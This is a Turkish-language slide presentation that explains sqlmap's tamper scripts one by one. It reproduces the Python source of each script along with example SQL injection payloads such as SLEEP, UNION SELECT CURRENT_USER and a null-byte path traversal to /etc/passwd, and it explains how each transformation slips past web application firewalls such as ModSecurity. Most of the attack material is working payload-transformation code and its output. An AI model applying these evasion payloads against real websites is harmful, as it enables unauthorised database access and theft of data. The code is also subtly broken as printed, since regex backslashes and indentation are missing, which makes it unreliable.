SlideShare a Scribd company logo
1 of 40
Download to read offline
SQLMAP Bypass DEŞİFRE 
20.08.2014 
b3mb4m@gmail.com 
Fikir görüş öneri için ulaşmanız yeterlidir.
KONU BAŞLIKLARI 
apostrophemask.py 
apostrophenullencode.py 
appendnullbyte.py 
base64encode.py 
between.py 
bluecoat.py 
chardoubleencode.py 
charencode.py 
charunicodeencode.py 
concat2concatws.py 
equaltolike.py 
greatest.py 
halfversionedmorekeywords.py 
ifnull2ifisnull.py 
lowercase.py 
modsecurityversioned.py 
modsecurityzeroversioned.py 
multiplespaces.py 
nonrecursivereplacement.py 
percentage.py 
randomcase.py 
randomcomments.py 
securesphere.py 
sp_password.py 
space2comment.py 
space2dash.py 
space2hash.py 
space2morehash.py 
space2mssqlblank.py 
space2mssqlhash.py 
space2mysqlblank.py 
space2mysqldash.py 
space2plus.py 
space2randomblank.py 
unionalltounion.py 
unmagicquotes.py 
varnish.py 
versionedkeywords.py 
versionedmorekeywords.py
1)apostrophemask.py 
#!/usr/bin/env python 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.LOWEST 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
return payload.replace(''', "%EF%BC%87") if payload else payload 
>>> tamper("1 AND '1'='1") #Bypass edilmemiş haldeki kodumuz bu 
>>>' 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871 ' #Bypass yapıldıktan sonraki hali 
Payload satırı ; 
return payload.replace(''', "%EF%BC%87") if payload else payload 
Scriptin görevi tırnak olan kısımları alıp yerine %EF%BC%87 payloadını koyarak bypass işlemini 
gerçekleştirmek. 
2)apostrophenullencode.py 
#!/usr/bin/env python 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.LOWEST 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
return payload.replace(''', "%00%27") if payload else payload 
Adındanda anlaşışdıgı gibi nullencode yani boş veri araya sokuyor burada bahsedilen boşveri %00.Devamında 
gelen %27 ise ' (tırnak) ifadesi. 
>>> tamper("1 AND '1'='1") 
>>>' 1 AND %00%271%00%27=%00%271 ' 
Payload satırı ; 
return payload.replace(''', "%00%27") if payload else payload
3)appendnullbyte.py 
#!/usr/bin/env python 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.LOWEST 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
return "%s%%00" % payload if payload else payload 
Kodlara baktından sonra aklınızda oluşanları az çok tahmin ediyorum onun için geliştiriciler tarafından 
bırakılan bi notu gösterelim. 
- Useful to bypass weak web application firewalls when the back-end 
database management system is Microsoft Access - further uses are 
also possible. 
Bir önceki bypass scriptimize benzer ama daha basit bi versiyonu.Peki diyeceksiniz ki bu kadar basit bir 
payload işe yarar mı ? 
Kendi referans aldıkları websitesi bu http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection 
İçine biraz bakalım .. 
Exploitation: 
Normal Mode: http://www.example.host/read.pl?page=userphoto.jpg 
Attacking Mode: http://www.example.host/read.pl?page=../../../../etc/passwd%00jpg 
Exploitation: 
Normal Mode: http://www.example.host/mypage.jsp?fn=report.db 
Attacking Mode: http://www.example.host/mypage.jsp?fn=serverlogs.txt%00.db 
Bunlara baktıktan sonra kafanıza tam oturmuştur diye tahmin ediyorum.Yani mevcut açık nullbyte'tan 
sonraki kısımları yok sayıyor bizde bu sayede kodlarımızı rahatça okutabiliyoruz anlamına geliyor.Tabiki 
basit mi ? basit.Ancak açıgın basit olması tehlike seviyesini azaltmıyor .. 
Nullbyte hakkında daha fazla bilgi için ; 
* http://php.net/manual/en/security.filesystem.nullbytes.php 
* http://en.wikipedia.org/wiki/Null_character 
* https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_Null_Byte_Injection 
* http://security.stackexchange.com/questions/48187/null-byte-injection-on-php
4)base64encode.py 
#!/usr/bin/env python 
import base64 
from lib.core.enums import PRIORITY 
from lib.core.settings import UNICODE_ENCODING 
__priority__ = PRIORITY.LOWEST 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload 
>>> tamper("1' AND SLEEP(5)#") 
>>>' MScgQU5EIFNMRUVQKDUpIw== ' 
Görmüş oldugunuz gibi python kütüphanesinde hazır halde bulunan "base64" modül ile tek satırda 
bypass işlemini kolaylıkla gerçekleştirebiliyoruz.Ama bundan önce base64 nedir onu açıklıyalım ; 
Vikipedi 
Base64 ikili verilerin (İngilizce: binary data) sadece ASCII karakterlerini kullanan ortamlarda 
iletilmesine ve saklanmasına olanak tanıyan bir kodlama şemasıdır.Kodlama sırasında 3 baytlık 
veriler 6 bitlik dörtlü gruplara dağıtılırlar. Her bir 6 bitlik grup 0 ile 63 arasında bir sayı oluşturur 
(26=64). 
Mesela şöyle diyelim internet ortamında büyük ihtimal 
görmüssünüzdür."SELECT" yazdıgınızda 
forbidden ile karşılaşıtıgımız durmunlar olur. 
Örnekle açıklayalım ; 
site.com/index.php?id=5+union <-- union yazdıgımız 
sorun yok . 
site.com/index.php?id=5+union+select <-- forbidden 
hatası ile karşılaştık.Base64 encode burada devreye 
giriyor. 
site.com/index.php?id=5K3VuaW9uK3NlbGVjdA== 
bu şekilde bypass edilerek hatayı geçme şansımız 
doguyor.
5)between.py 
#!/usr/bin/env python 
import re 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.HIGHEST 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
match = re.search(r"(?i)(b(AND|OR)bs+)(?!.*b(AND|OR)b)([^>]+?)s*>s*([^>]+)s*Z", payload) 
if match: 
_ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) 
retVal = retVal.replace(match.group(0), _) 
else: 
retVal = re.sub(r"s*>s*(d+|'[^']+'|w+(d+))", " NOT BETWEEN 0 AND g<1>", payload) 
if retVal == payload: 
match = re.search(r"(?i)(b(AND|OR)bs+)(?!.*b(AND|OR)b)([^=]+?)s*=s*(w+)s*", payload) 
if match: 
_ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), 
match.group(5)) 
retVal = retVal.replace(match.group(0), _) 
return retVal 
Sadece karışık gözüktügüne emin olabilirsiniz.İşlevi şu şekilde açıklanmış. 
Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' 
Replaces equals operator ('=') with 'BETWEEN # AND #' 
Aslında basit degilmi ? 
>>> tamper('1 AND A > B--') 
>>>'1 AND A NOT BETWEEN 0 AND B--' 
>>> tamper('1 AND A = B--') 
>>> '1 AND A BETWEEN B AND B--' 
Bypass çeşitleri oldukça fazla olan sqlmap aslında profesyonel şekilde kullanırsa ne kadar faydalı 
olabilecegini görüyorsunuz .. Ama tabiki daha yeni başlıyoruz !
6)bluecoat.py 
#!/usr/bin/env python 
import re 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.NORMAL 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)s+", r"g<1>%09", payload) 
retVal = re.sub(r"s*=s*", " LIKE ", retVal) 
return retVal 
>>> tamper('SELECT id FROM users where id = 1') 
>>>'SELECT%09id FROM users where id LIKE 1' 
Aslında kodlar gördügünüz gibi standart modüller payload çevirisi yapan kodumuz ise en fazla 5-6 satır 
oluyor. Geliştirici notlarını gene paylaşalım ; 
Replaces space character after SQL statement with a valid random blank character. 
Afterwards replace character = with LIKE operator. 
Aslında bunlar basit bypasslar gibi görünsede hepsi %100 test edilmiştir. 
Referans olarak ; 
https://kb.bluecoat.com/index?page=content&id=FAQ2147 
Şuana kadar gördügünüz kodları herhangibi bir programlama diline aşinaysanız veya python biliyorsanız biraz 
dikkat ile hepsini anlayabilirsiniz. 
bluecoat bypass scritimizin test edildigi ortam ; 
Tested against: 
* MySQL 5.1, SGOS 
Bu kadar bypassı sizin için yapması zamandan tasarruf açısından çok iyi olsada şuanda yaptıgımız gibi içini 
bilmedigimiz sürece hiçbirşey ögrenemeyiz o yüzden biraz daha dikkatinizi vermenizi istiyorum.Uzun bir yazı 
dizisi olacak.
7)chardoubleencode.py 
#!/usr/bin/env python 
import string 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.LOW 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
retVal = "" 
i = 0 
while i < len(payload): 
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i 
+ 2:i + 3] in string.hexdigits: 
retVal += '%%25%s' % payload[i + 1:i + 3] 
i += 3 
else: 
retVal += '%%25%.2X' % ord(payload[i]) 
i += 1 
return retVal 
>>> tamper('SELECT FIELD FROM%20TABLE') 
>>>'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546% 
2552%254F%254D%2520%2554%2541%2542%254C%2545' 
Açıklamayı alalım hemen ; 
Double url-encodes all characters in a given payload (not processing 
already encoded) 
Url encode işlemi ile bypasslamak için yapılmış olan bu script açıklamadada yazdıgı gibi 2 kez üst 
üste encode işlemi ile bypass işlemini gerçekleştiriyor.Ancak açıklamadaki bu kısmın anlattıgı 
"not processing already encoded" yani eger ki encode edilmiş ise o kısım birdaha encode edilmez. 
Bunun içinde biraz karmaşık bir mantıkla kodlanmıştır kodlar.Normalde python hazır 
modüllerini kullanak bunu yapmak mümkün ; 
>>> import urllib 
>>> params= {'q': q.encode('utf-8')} 
>>> 'http://www.test.com/?'+urllib.urlencode(params) 
>>> 'http://www.test.com/?q=%C3%A6%C3%B8%C3%A5' 
Şeklinde yapabiliriz.
8)charencode.py 
#!/usr/bin/env python 
import string 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.LOWEST 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
retVal = "" 
i = 0 
while i < len(payload): 
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 
2:i + 3] in string.hexdigits: 
retVal += payload[i:i + 3] 
i += 3 
else: 
retVal += '%%%.2X' % ord(payload[i]) 
i += 1 
return retVal 
>>> tamper('SELECT FIELD FROM%20TABLE') 
>>>'%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45' 
İlk önce zaten doubleencode scriptimizi görmüştük.Buda charencode yani sadece bir kere encode işlemini 
yapıyor. 
Test edilen ortamlar : 
* Microsoft SQL Server 2005 
* MySQL 4, 5.0 and 5.5 
* Oracle 10g 
* PostgreSQL 8.3, 8.4, 9.0 
Burada ord ord(payload[i]) üzerinde biraz duralım kafanız karışmış olabilir.Ord'un işlevi string ifadelerin 
asci karşılıklarını almaktır. 
>>> string=’Hello World’ 
>>> list_ascii=[ord(i) for i in string] 
>>> print list_ascii 
>>>[72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
9)charunicodeencode.py 
#!/usr/bin/env python 
import os 
import string 
from lib.core.enums import PRIORITY 
from lib.core.common import singleTimeWarnMessage 
__priority__ = PRIORITY.LOWEST 
def dependencies(): 
singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" 
% os.path.basename(__file__).split(".")[0]) 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
retVal = "" 
i = 0 
while i < len(payload): 
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i 
+ 3] in string.hexdigits: 
retVal += "%%u00%s" % payload[i + 1:i + 3] 
i += 3 
else: 
retVal += '%%u%.4X' % ord(payload[i]) 
i += 1 
return retVal 
>>> tamper('SELECT FIELD%20FROM TABLE') 
>>> '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020% 
u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045' 
Gerekli sistemler : 
* ASP 
* ASP.NET 
Buradaki kod blogundanda anlayabiliriz : 
singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web 
applications" % os.path.basename(__file__).split(".")[0]) 
Önceki scriptimiz char ile encode ediyordu.Bu scriptimiz ise char+unicode ile encode ederek bypass işlemini 
yapıyor. 
Unicode nedir derseniz --> http://tr.sercanulucan.com/unicode-utf-8-ve-python/ Python & Unicode 
ilişkisini ayrıntılı bir şekilde anlatan bi arkadaşımız mecvut okumanızı tavsiye ederim.
10)equaltolike.py 
#!/usr/bin/env python 
import os 
import re 
from lib.core.common import singleTimeWarnMessage 
from lib.core.enums import DBMS 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.HIGHEST 
def dependencies(): 
singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % 
(os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) 
def tamper(payload, **kwargs): 
def process(match): 
word = match.group() 
word = "%sLIKE%s" % (" " if word[0] != " " else "", " " if word[-1] != " " else "") 
return word 
retVal = payload 
if payload: 
retVal = re.sub(r"s*=s*", lambda match: process(match), retVal) 
return retVal 
>>> tamper('SELECT * FROM users WHERE id=1') 
>>>'SELECT * FROM users WHERE id LIKE 1' 
Bu sefer basit bir bypass scripti ile karşı karşıyayız. 
Replaces all occurances of operator equal ('=') with operator 'LIKE' 
Tested against: 
* Microsoft SQL Server 2005 
* MySQL 4, 5.0 and 5.5 
Notes: 
* Useful to bypass weak and bespoke web application firewalls that 
filter the equal character ('=') 
* The LIKE operator is SQL standard. Hence, this tamper script 
should work against all (?) databases 
Görüldügü gibi = yerine LIKE ile degiştirip bypass işlemini gerçekleştiriyor.
11)greatest.py 
#!/usr/bin/env python 
import re 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.HIGHEST 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
match = re.search(r"(?i)(b(AND|OR)bs+)(?!.*b(AND|OR)b)([^>]+?)s*>s*([^>]+)s*Z", payload) 
if match: 
_ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(4), match.group(5), 
match.group(4)) 
retVal = retVal.replace(match.group(0), _) 
return retVal 
>>> tamper('1 AND A > B') 
>>> '1 AND GREATEST(A,B+1)=A' 
Geliştiricilerin açıklaması: 
Replaces greater than operator ('>') with 'GREATEST' counterpart 
Tested against: 
* MySQL 4, 5.0 and 5.5 
* Oracle 10g 
* PostgreSQL 8.3, 8.4, 9.0 
Gördügünüz gibi her scriptin içinde geliştirici açıklamaları ve test edilme ortamları mevcut.Bu demektir ki 
hiçbirşey tahmini degerler üzerine gerçekleştirilmiyor.Yani siz ne kadar ararsanız geliştiricilerde bunları o 
kadar arıyor. 
* The GREATEST clause is a widespread SQL command. Hence, this 
tamper script should work against majority of databases
12)concat2concatws.py 
#!/usr/bin/env python 
""" 
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) 
See the file 'doc/COPYING' for copying permission 
""" 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.HIGHEST 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
if payload: 
payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") 
return payload 
""" 
Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' 
Requirement: 
* MySQL 
Tested against: 
* MySQL 5.0 
Notes: 
* Useful to bypass very weak and bespoke web application firewalls 
that filter the CONCAT() function 
""" 
>>> tamper('CONCAT(1,2)') 
>>>'CONCAT_WS(MID(CHAR(0),0,0),1,2)' 
Kodların işlevini bir bakışta anlamanız çok normal.Çünkü artık olayların mantıgını kavramaya başladınız. 
Aslında bütün açıklama tek cümle ile verilmiş: 
Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' 
Çok zayıf firewall olan sistemler için yapılmış bir bypass scripti.Sadece mysql üzerinde etkili.
13)halfversionedmorekeywords.py 
#!/usr/bin/env python 
import os 
import re 
from lib.core.common import singleTimeWarnMessage 
from lib.core.data import kb 
from lib.core.enums import DBMS 
from lib.core.enums import PRIORITY 
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS 
__priority__ = PRIORITY.HIGHER 
def dependencies(): 
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % 
(os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) 
def tamper(payload, **kwargs): 
def process(match): 
word = match.group('word') 
if word.upper() in kb.keywords and word.upper() not in 
IGNORE_SPACE_AFFECTED_KEYWORDS: 
return match.group().replace(word, "/*!0%s" % word) 
else: 
return match.group() 
retVal = payload 
if payload: 
retVal = re.sub(r"(?<=W)(?P<word>[A-Za-z_]+)(?=W|Z)", lambda match: process(match), retVal) 
retVal = retVal.replace(" /*!0", "/*!0") 
return retVal 
>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS 
CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") 
>>>"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*! 
0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 
'QDWa'='QDWa" 
Biraz karısık bir bypass gibi görünsede aslında degil.Value degerine takılmanıza gerek yok.Örnek verecek 
olursam : 
site.com/index.php?id=5 buradaki " 5 " value degeridir. 
Scriptte çok fazla regex kullanımı karısık görünsede örnek aslında durumu özetiliyor.Kelimeler üzerinde 
oynama yapılmıyor bu scriptte. 
/*!0 her komutun önüne geçerek sql komutlarımızı mevcut hedef üzerinde çalıştırmamıza olanak 
saglıyor.
14)lowercase.py 
#!/usr/bin/env python 
import re 
from lib.core.data import kb 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.NORMAL 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
for match in re.finditer(r"[A-Za-z_]+", retVal): 
word = match.group() 
if word.upper() in kb.keywords: 
retVal = retVal.replace(word, word.lower()) 
return retVal 
>>> tamper('INSERT') 
>>> 'insert' 
Biraz şaka gibi gelebilecek bir script .Büyük olan bütün harf&karakter i kücük olan degeriyle degiştiriyor.Şöyle 
bir açıklama yapayım.Bu örnek ve önceki örnekler üzerinde olmak üzere tamper içinde yazan komutlar sabit 
olmayabilir.Yani örnekte verildi diye sadece o kelime&karakter&komut 'u bypasslıyor diye düşünmeyelim. 
Çünkü sql injection tek aşamalı bir işlem degildir.Her farklı istek için komut degişken olacagından örneklere 
baglı kalmamanız daha iyi olur.
15)varnish.py 
#!/usr/bin/env python 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.NORMAL 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
headers = kwargs.get("headers", {}) 
headers["X-originating-IP"] = "127.0.0.1" 
return payload 
Example : 
>> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) 
>> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) 
>> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1) 
>> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X) 
>> X-remote-IP: * or %00 or %0A 
Bu konu "Bypassing web application firewalls using HTTP headers" olarak geçiyor.HTTP headersları 
kullanarak kodlarını çalıştırmayı deniyor scriptimiz.HTTP headers konusu biraz geniş bir kavram yani sadece 
sql açıgıyla sınırlı degil.User agenti degiştirilerek yapılan saldırılarda mevcuttur. 
Yukarıda gördügünüz gibi: 
GET /app?user='or'1'='1' ;-- HTTP/1.1 <-- GET methodu ile yapılan saldırı. 
POST / app?user=B3mB4m&password='&nickname=' <-- POST methodu ile yapılan saldırı. 
Bunları hiç durmadan arttırabiliriz ama bizim konumuz sqlmap bypass umarım anlamıssınızdır.Devam ..
16)ifnull2ifisnull.py 
def tamper(payload, **kwargs): 
if payload and payload.find("IFNULL") > -1: 
while payload.find("IFNULL(") > -1: 
index = payload.find("IFNULL(") 
depth = 1 
comma, end = None, None 
for i in xrange(index + len("IFNULL("), len(payload)): 
if depth == 1 and payload[i] == ',': 
comma = i 
elif depth == 1 and payload[i] == ')': 
end = i 
break 
elif payload[i] == '(': 
depth += 1 
elif payload[i] == ')': 
depth -= 1 
if comma and end: 
_ = payload[index + len("IFNULL("):comma] 
__ = payload[comma + 1:end].lstrip() 
newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _) 
payload = payload[:index] + newVal + payload[end + 1:] 
else: 
break 
return payload 
>>> tamper('IFNULL(1, 2)') 
>>>'IF(ISNULL(1),2,1)' 
Aslında kodları örnekler tamamen açıklasada geliştiricilerimizin şu açıklamasına bakalım : 
*Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'* 
* Useful to bypass very weak and bespoke web application firewalls 
that filter the IFNULL() function* 
Bunlar " Useful to bypass very weak" kısmından anlaşılacagı üzere basit firewallları geçmek için oluşturulmuş 
scriptler.Ancak burada bypass çeşitliligi çok fazla oldugundan ve python 'un esnekligi ile birleştirdiginde hızlı 
ve kullanım basitligi kendisini vazgeçilmez bir script yapıyor. 
Peki neden basit dedim? Aslında şuana kadar görmüş oldugunuz her scriptin işlevi hemen hemen aynı.Bypass 
edilmemiş kod çalışmaz ise bypass scriptlerini devreye sok ve veriyi çek.
17)modesecurityversioned.py 
#!/usr/bin/env python 
from lib.core.common import randomInt 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.HIGHER 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
postfix = '' 
for comment in ('#', '--', '/*'): 
if comment in payload: 
postfix = payload[payload.find(comment):] 
payload = payload[:payload.find(comment)] 
break 
if ' ' in payload: 
retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 
1:], postfix) 
return retVal 
>>> tamper('1 AND 2>1--') 
>>>'1 /*!30874AND 2>1*/--' 
Requirement: 
* MySQL 
Tested against: 
* MySQL 5.0 
Notes: 
* Useful to bypass ModSecurity WAF/IDS 
Bu bypass firewall çok iyi olmadıgı sürece %60 -70'lere varan başarı saglar. 
if ' ' in payload: 
retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 
1:], postfix) 
Yukarıdaki kodumuz bütün bypass işlemini gerçekleştiren kısım.Şu şekilde mantıkla ilerliyor eger içinde şu 
varsa şununla degiştir.Python internet işlemleri çok basit halledildiginden bu basitlikten sonuna kadar 
faydalanmayı başarmış nadir scriptlerdendir SQLMAP.
18)modesecurtiyzeroversioned.py 
#!/usr/bin/env python 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.HIGHER 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
postfix = '' 
for comment in ('#', '--', '/*'): 
if comment in payload: 
postfix = payload[payload.find(comment):] 
payload = payload[:payload.find(comment)] 
break 
if ' ' in payload: 
retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix) 
return retVal 
>>> tamper('1 AND 2>1--') 
>>>'1 /*!00000AND 2>1*/--' 
Bir önceki bypass scriptimizin farklı bir versiyonu diyebiliriz. 
if ' ' in payload: 
retVal = "%s /*!00000%s*/%s" % 
(payload[:payload.find(' ')], payload[payload.find(' ') + 1:], 
postfix) 
Aslında bütün olay son satırda bitiyor. 
for comment in ('#', '--', '/*'): 
Bahsettigim içinde şunlar varsa şunu yap mantıgı buradan 
itibaren başlıyor. 
"1 AND 2>1--" 
Gördügünüz gibi " -- " içinde mevcut buna göre script 
devreye giriyor ve bypass işlemini gerçekleştiriyor.
19)multispaces.py 
#!/usr/bin/env python 
import random 
import re 
from lib.core.data import kb 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.NORMAL 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
words = set() 
for match in re.finditer(r"[A-Za-z_]+", payload): 
word = match.group() 
if word.upper() in kb.keywords: 
words.add(word) 
for word in words: 
retVal = re.sub("(?<=W)%s(?=[^A-Za-z_(]|Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), 
word, ' ' * random.randrange(1, 4)), retVal) 
retVal = re.sub("(?<=W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal) 
return retVal 
>>> tamper('1 UNION SELECT foobar') 
>>>'1 UNION SELECT foobar' 
Adındanda anlaşıldıgı gibi bypass 'ı boşuklar bırakarak yapmaya çalısıyor. 
""" 
Adds multiple spaces around SQL keywords 
Notes: 
* Useful to bypass very weak and bespoke web application firewalls 
that has poorly written permissive regular expressions 
Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt 
#Referans'ı bi okumanızı tavsiye ederim. 
"""
20)nonrecursiveplacement.py 
#!/usr/bin/env python 
import random 
import re 
from lib.core.common import singleTimeWarnMessage 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.NORMAL 
def tamper(payload, **kwargs): 
keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE") 
retVal = payload 
warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords) 
warnMsg += "You can set it manually according to your needs" 
singleTimeWarnMessage(warnMsg) 
if payload: 
for keyword in keywords: 
_ = random.randint(1, len(keyword) - 1) 
retVal = re.sub(r"(?i)b%sb" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), 
retVal) 
return retVal 
>>> tamper('1 UNION SELECT 2--') 
>>>'1 UNIOUNIONN SELESELECTCT 2--' 
Bu bypass çeşidini açıklamakta fayda var. 
Mesela: 
UNION <-- yazdıgınızda sayfa sizi ana sayfaya yönlendiriyor. 
SELECT <-- yazdıgınızda gene ana sayfaya yönlendiriyor. 
Yani bu demektir ki bazı komutlara karşı önlemler alınmış. 
Peki bu bypass ne yapıyorda geçiyor diye düşünebilirsiniz. 
UNIOUNIONN <-- UNION tekrar yönlendirme alacagınızı biliyorsunuz.Yani sayfa UNION 'u 
silecek ve sizi ana sayfaya atacak. 
UNIOUNIONN <-- Buradan UNION kısmını çıkarınca dikkat ederseniz UNI-UNION-ON <-- 
bunun dönecegi şey tekrar UNION olacak sayfa bizi yönlendirmeyecek komutumuz işleme girecek demektir. 
Aynı işlem SELECT komutu içinde yapılınca ilk önce verdigimiz komutlar engellense bile firewall'ın 
önlemini kendisine karşı tekrar kullanmış olucaz.
21)percentage.py 
#!/usr/bin/env python 
import os 
import string 
from lib.core.enums import PRIORITY 
from lib.core.common import singleTimeWarnMessage 
__priority__ = PRIORITY.LOW 
def dependencies(): 
singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % 
os.path.basename(__file__).split(".")[0]) 
def tamper(payload, **kwargs): 
if payload: 
retVal = "" 
i = 0 
while i < len(payload): 
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i 
+ 2:i + 3] in string.hexdigits: 
retVal += payload[i:i + 3] 
i += 3 
elif payload[i] != ' ': 
retVal += '%%%s' % payload[i] 
i += 1 
else: 
retVal += payload[i] 
i += 1 
return retVal 
>>> tamper('SELECT FIELD FROM TABLE') 
>>>'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' 
*Adds a percentage sign ('%') infront of each character* 
Direk olarak kelime engelleri olan bir önceki scripttede anlattıgım gibi engelleri geçmek için yapılmış bir 
scriptimiz. 
Requirement: 
* ASP 
Tested against: 
* Microsoft SQL Server 2000, 2005 
* MySQL 5.1.56, 5.5.11 
* PostgreSQL 9.0
22)randomcase.py 
#!/usr/bin/env python 
import re 
from lib.core.common import randomRange 
from lib.core.data import kb 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.NORMAL 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
for match in re.finditer(r"[A-Za-z_]+", retVal): 
word = match.group() 
if word.upper() in kb.keywords: 
_ = str() 
for i in xrange(len(word)): 
_ += word[i].upper() if randomRange(0, 1) else word[i].lower() 
retVal = retVal.replace(word, _) 
return retVal 
>>> tamper('INSERT') 
>>>'INseRt' 
Replaces each keyword character with random case value 
Tested against: 
* Microsoft SQL Server 2005 
* MySQL 4, 5.0 and 5.5 
*Oracle 10g 
* PostgreSQL 8.3, 8.4, 9.0 
Bu bypass çeşidini web güvenlik açıklarına ilgisi olan hemen hemen herkez duymuştur diye tahmin ediyorum. 
PHP'de direk olarak kelime engellerini aşmak için komutu bilinen standartın dışında yazmaya çalısıyoruz. 
Örnege eklemeler yapacak olursak : 
ıNSert 
InSeRT 
INSert 
ınsERt
23)randomcomments.py 
#!/usr/bin/env python 
import re 
from lib.core.common import randomRange 
from lib.core.data import kb 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.LOW 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
for match in re.finditer(r"b[A-Za-z_]+b", payload): 
word = match.group() 
if len(word) < 2: 
continue 
if word.upper() in kb.keywords: 
_ = word[0] 
for i in xrange(1, len(word) - 1): 
_ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i]) 
_ += word[-1] 
if "/**/" not in _: 
index = randomRange(1, len(word) - 1) 
_ = word[:index] + "/**/" + word[index:] 
retVal = retVal.replace(word, _) 
return retVal 
>>> tamper('INSERT') 
>>>'I/**/N/**/SERT' 
"Add random comments to SQL keywords" 
Yaptıgı şey tam anlamıyla üstteki yorumun aynısı.SQL komutunu seçer ve /**/ <-- eklemeleri 
yapar.Comments dedigi budur yani --> /**/ . 
